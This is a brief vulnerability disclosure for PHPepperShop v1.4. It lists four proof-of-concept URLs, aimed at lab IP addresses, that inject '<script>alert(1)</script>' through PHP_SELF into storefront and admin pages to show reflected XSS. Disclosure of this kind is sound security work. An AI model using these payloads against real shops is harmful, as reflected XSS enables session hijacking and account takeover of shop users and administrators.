XSS in PHPepperShop v 1.4

Vulnerable Version:PHPepperShop v 1.4
Homepage:http://www.phpeppershop.com

This is 4 reflective XSS flaws in the URI. Trust no one not even your $_SERVER[PHP_SELF]

http://10.1.1.10/shop/kontakt.php/'<script>alert(1)</script>

http://10.1.1.10/index.php/%22%3Cscript%3Ealert(1)%3C/script%3E

http://10.1.1.155/Audit/Commerce/HackMe/shop/Admin/shop_kunden_mgmt.php/%22%3Cscript%3Ealert(1)%3C/script%3E

http://10.1.1.155/Audit/Commerce/HackMe/shop/Admin/SHOP_KONFIGURATION.php/"<script>alert(1)</script>